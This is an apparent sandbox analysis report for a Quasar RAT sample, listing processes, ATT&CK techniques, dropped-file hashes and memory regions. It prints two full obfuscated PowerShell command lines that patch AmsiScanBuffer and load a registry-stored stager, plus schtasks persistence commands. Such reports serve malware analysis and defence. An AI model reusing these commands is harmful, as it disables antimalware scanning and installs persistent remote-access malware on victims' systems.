- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4472

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1180

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2628

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:aFnUvvCjtdla{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$zLwBfmvEcprRIP,[Parameter(Position=1)][Type]$TKTffdogfG)$FRRhlOVQqpc=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+'e'+'d'+'D'+''+'e'+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'Me'+[Char](109)+''+[Char](111)+''+'r'+'y'+[Char](77)+'o'+[Char](100)+'u'+[Char](108)+''+'e'+'',$False).DefineType('My'+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+'y'+'p'+'e'+'',''+'C'+''+'l'+'ass'+','+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+'c,'+'S'+''+[Char](101)+''+[Char](97)+'l'+'e'+'d'+','+'A'+[Char](110)+'si'+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s,'+[Char](65)+''+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+'as'+[Char](115)+'',[MulticastDelegate]);$FRRhlOVQqpc.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+'e'+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+'d'+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+'i'+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+'b'+'l'+'i'+'c',[Reflection.CallingConventions]::Standard,$zLwBfmvEcprRIP).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+'g'+'e'+''+'d'+'');$FRRhlOVQqpc.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'','P'+[Char](117)+'b'+[Char](108)+''+'i'+'c'+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+'S'+'lo'+[Char](116)+''+[Char](44)+'V'+'i'+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'',$TKTffdogfG,$zLwBfmvEcprRIP).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+'i'+[Char](109)+''+'e'+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+'g'+'e'+'d'+'');Write-Output $FRRhlOVQqpc.CreateType();}$sqAULUAdLNcgR=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+'r'+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+'i'+''+'n'+'3'+[Char](50)+'.'+[Char](85)+''+'n'+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+'at'+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+'t'+'h'+''+'o'+''+[Char](100)+'s');$LDIKUjRLvAbTZJ=$sqAULUAdLNcgR.GetMethod(''+'G'+''+'e'+'tPr'+'o'+''+'c'+''+'A'+'d'+'d'+''+[Char](114)+''+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+''+[Char](117)+'b'+[Char](108)+'i'+'c'+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$hHkKGecQXiQwrXyiNzz=aFnUvvCjtdla @([String])([IntPtr]);$OnVQewUitBfOYfaepJVeHg=aFnUvvCjtdla @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$DIAuxbGEmlC=$sqAULUAdLNcgR.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+'d'+''+'u'+'le'+'H'+''+'a'+''+[Char](110)+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+'r'+'n'+'e'+[Char](108)+'3'+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$eHrpfscgHbcXfj=$LDIKUjRLvAbTZJ.Invoke($Null,@([Object]$DIAuxbGEmlC,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+'d'+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+''+[Char](97)+'r'+'y'+'A')));$xTdOILJWroOdYzOtf=$LDIKUjRLvAbTZJ.Invoke($Null,@([Object]$DIAuxbGEmlC,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+''+[Char](117)+'a'+'l'+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$XPVaPkM=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eHrpfscgHbcXfj,$hHkKGecQXiQwrXyiNzz).Invoke(''+'a'+''+[Char](109)+''+'s'+'i.'+'d'+'ll');$NAobiHqVNTddVjLoK=$LDIKUjRLvAbTZJ.Invoke($Null,@([Object]$XPVaPkM,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+'i'+'Sc'+'a'+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$rlyONLVPqz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xTdOILJWroOdYzOtf,$OnVQewUitBfOYfaepJVeHg).Invoke($NAobiHqVNTddVjLoK,[uint32]8,4,[ref]$rlyONLVPqz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$NAobiHqVNTddVjLoK,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xTdOILJWroOdYzOtf,$OnVQewUitBfOYfaepJVeHg).Invoke($NAobiHqVNTddVjLoK,[uint32]8,0x20,[ref]$rlyONLVPqz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+'A'+'R'+''+[Char](69)+'').GetValue('$7'+[Char](55)+'st'+'a'+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:BnJusQZjmmzE{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DWQFUMXGAOWJIC,[Parameter(Position=1)][Type]$HpydCenqWR)$zHdulGuaTcR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+'e'+[Char](100)+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'at'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+'M'+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+'o'+'d'+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+'t'+'eT'+[Char](121)+''+'p'+''+[Char](101)+'','C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+'C'+''+[Char](108)+''+'a'+'ss,'+'A'+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$zHdulGuaTcR.DefineConstructor(''+'R'+'T'+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+'N'+''+'a'+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+''+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+','+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$DWQFUMXGAOWJIC).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+[Char](105)+''+[Char](109)+''+[Char](101)+','+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$zHdulGuaTcR.DefineMethod(''+'I'+''+'n'+''+[Char](118)+'ok'+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+'e'+'B'+'y'+'S'+[Char](105)+''+'g'+''+[Char](44)+''+'N'+''+[Char](101)+''+'w'+'S'+[Char](108)+'ot,'+[Char](86)+''+[Char](105)+''+'r'+'t'+[Char](117)+''+[Char](97)+'l',$HpydCenqWR,$DWQFUMXGAOWJIC).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+'e'+'d');Write-Output $zHdulGuaTcR.CreateType();}$zEWyuuKHaDLEA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+'s'+''+[Char](116)+''+'e'+''+'m'+''+'.'+''+'d'+''+'l'+'l')}).GetType(''+[Char](77)+''+[Char](105)+'cr'+'o'+''+'s'+'o'+[Char](102)+''+[Char](116)+'.'+'W'+'i'+[Char](110)+''+'3'+'2'+[Char](46)+'Un'+'s'+''+[Char](97)+''+[Char](102)+'eN'+'a'+''+[Char](116)+'i'+'v'+''+'e'+''+'M'+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+'s');$JAyhACOignenzC=$zEWyuuKHaDLEA.GetMethod(''+[Char](71)+'et'+[Char](80)+''+'r'+'o'+'c'+'A'+[Char](100)+'d'+[Char](114)+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+','+[Char](83)+''+[Char](116)+'at'+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$YvlWWonHZCNRpWJbSzW=BnJusQZjmmzE @([String])([IntPtr]);$lmMBUtRqeDShUEoSwTKijf=BnJusQZjmmzE @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$salHnnxiLEc=$zEWyuuKHaDLEA.GetMethod(''+[Char](71)+'e'+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+''+[Char](72)+'a'+[Char](110)+''+'d'+'le').Invoke($Null,@([Object]('k'+[Char](101)+'rne'+[Char](108)+'3'+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$rcdyWsyMkMTSiu=$JAyhACOignenzC.Invoke($Null,@([Object]$salHnnxiLEc,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+'Li'+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$MoOnTwBDxoupAISju=$JAyhACOignenzC.Invoke($Null,@([Object]$salHnnxiLEc,[Object]('V'+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+'o'+'t'+'ect')));$hIlXbIe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rcdyWsyMkMTSiu,$YvlWWonHZCNRpWJbSzW).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+'d'+'l'+[Char](108)+'');$zSRwUWDHYdYFcgCkC=$JAyhACOignenzC.Invoke($Null,@([Object]$hIlXbIe,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+''+'S'+''+[Char](99)+''+'a'+''+'n'+''+[Char](66)+''+'u'+''+[Char](102)+'fe'+[Char](114)+'')));$wejpRcwCzo=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MoOnTwBDxoupAISju,$lmMBUtRqeDShUEoSwTKijf).Invoke($zSRwUWDHYdYFcgCkC,[uint32]8,4,[ref]$wejpRcwCzo);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$zSRwUWDHYdYFcgCkC,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MoOnTwBDxoupAISju,$lmMBUtRqeDShUEoSwTKijf).Invoke($zSRwUWDHYdYFcgCkC,[uint32]8,0x20,[ref]$wejpRcwCzo);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+'W'+''+[Char](65)+''+'R'+'E').GetValue('$'+[Char](55)+''+[Char](55)+''+'s'+''+[Char](116)+''+'a'+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1388

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:2380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1188

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1412

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1556

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1980

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2000

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1864

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2176

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:2952

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:3004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:3024

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3212

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3600

C:\Users\Admin\AppData\Local\Temp\Uni.exe
"C:\Users\Admin\AppData\Local\Temp\Uni.exe"
2⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1664

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:1080

C:\Windows\SysWOW64\SubDir\Client.exe
"C:\Windows\SysWOW64\SubDir\Client.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2676

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Windows\SysWOW64\SubDir\Client.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:856

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
4⤵
- Executes dropped EXE
PID:4520

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
3⤵
- Executes dropped EXE
PID:3796

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:3716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3740

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3924

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:1256

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4132

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2992

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:4936

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4992

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2276

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:208

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:4812

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3092

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\install.exe
Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Windows\SysWOW64\SubDir\Client.exe
Filesize
409KB

MD5
f8f7e612c70c0cfb734e0a8b47ecff5a

SHA1
55daed611f6a5d7f3e46b6ad1c1ef125fe7ab37d

SHA256
baa1d7de5d93fade36fa20d98d3c0466198a129bebd17302f5f5d8ae03779bda

SHA512
38300f170b9464098312f36ae2e43d510dfd7ec6508f29fd50dd6dd65c1ba64804e4d341eb31f49b816383e4cb80d8ae1bf4ab3de6829acc0ca4e9148c970233

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_4ske1wxn.ads.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
610B

MD5
4fac3b1bf2807bcbf745deaf872eedcf

SHA1
04f31693e185ca1008ec23d821bcd7d5b1789f40

SHA256
d3b026a22bcf9cb0d99e1512bb2acbf61855982a29958cd844847ba8f1b16277

SHA512
611fd4af0a190af73c95ddbed189f61ea4f423d688933454ec5e8612856e23f057ab5b5bb73fc41321118a2e791ad0591abc667965779e29cb15bf225a6d6be0

Download Submit
memory/416-106-0x000001E638B70000-0x000001E638B9B000-memory.dmp

Filesize
172KB

Download
memory/620-61-0x000001BF396E0000-0x000001BF3970B000-memory.dmp

Filesize
172KB

Download
memory/620-62-0x000001BF396E0000-0x000001BF3970B000-memory.dmp

Filesize
172KB

Download
memory/620-68-0x000001BF396E0000-0x000001BF3970B000-memory.dmp

Filesize
172KB

Download
memory/620-69-0x00007FFEA23D0000-0x00007FFEA23E0000-memory.dmp

Filesize
64KB

Download
memory/620-60-0x000001BF396B0000-0x000001BF396D5000-memory.dmp

Filesize
148KB

Download
memory/680-80-0x00007FFEA23D0000-0x00007FFEA23E0000-memory.dmp

Filesize
64KB

Download
memory/680-73-0x000002855AF00000-0x000002855AF2B000-memory.dmp

Filesize
172KB

Download
memory/680-79-0x000002855AF00000-0x000002855AF2B000-memory.dmp

Filesize
172KB

Download
memory/948-90-0x00000263BFF20000-0x00000263BFF4B000-memory.dmp

Filesize
172KB

Download
memory/948-91-0x00007FFEA23D0000-0x00007FFEA23E0000-memory.dmp

Filesize
64KB

Download
memory/948-84-0x00000263BFF20000-0x00000263BFF4B000-memory.dmp

Filesize
172KB

Download
memory/1020-95-0x0000022CE56A0000-0x0000022CE56CB000-memory.dmp

Filesize
172KB

Download
memory/1020-101-0x0000022CE56A0000-0x0000022CE56CB000-memory.dmp

Filesize
172KB

Download
memory/1020-102-0x00007FFEA23D0000-0x00007FFEA23E0000-memory.dmp

Filesize
64KB

Download
memory/1664-7-0x0000000006070000-0x00000000060AC000-memory.dmp

Filesize
240KB

Download
memory/1664-6-0x0000000005B30000-0x0000000005B42000-memory.dmp

Filesize
72KB

Download
memory/1664-1-0x00000000003B0000-0x000000000041C000-memory.dmp

Filesize
432KB

Download
memory/1664-2-0x0000000005380000-0x0000000005924000-memory.dmp

Filesize
5.6MB

Download
memory/1664-3-0x0000000004E70000-0x0000000004F02000-memory.dmp

Filesize
584KB

Download
memory/1664-0-0x0000000074BEE000-0x0000000074BEF000-memory.dmp

Filesize
4KB

Download
memory/1664-4-0x0000000074BE0000-0x0000000075390000-memory.dmp

Filesize
7.7MB

Download
memory/1664-5-0x0000000004F20000-0x0000000004F86000-memory.dmp

Filesize
408KB

Download
memory/1664-19-0x0000000074BE0000-0x0000000075390000-memory.dmp

Filesize
7.7MB

Download
memory/2676-12-0x0000000074BE0000-0x0000000075390000-memory.dmp

Filesize
7.7MB

Download
memory/2676-34-0x0000000006710000-0x000000000671A000-memory.dmp

Filesize
40KB

Download
memory/2676-1318-0x0000000074BE0000-0x0000000075390000-memory.dmp

Filesize
7.7MB

Download
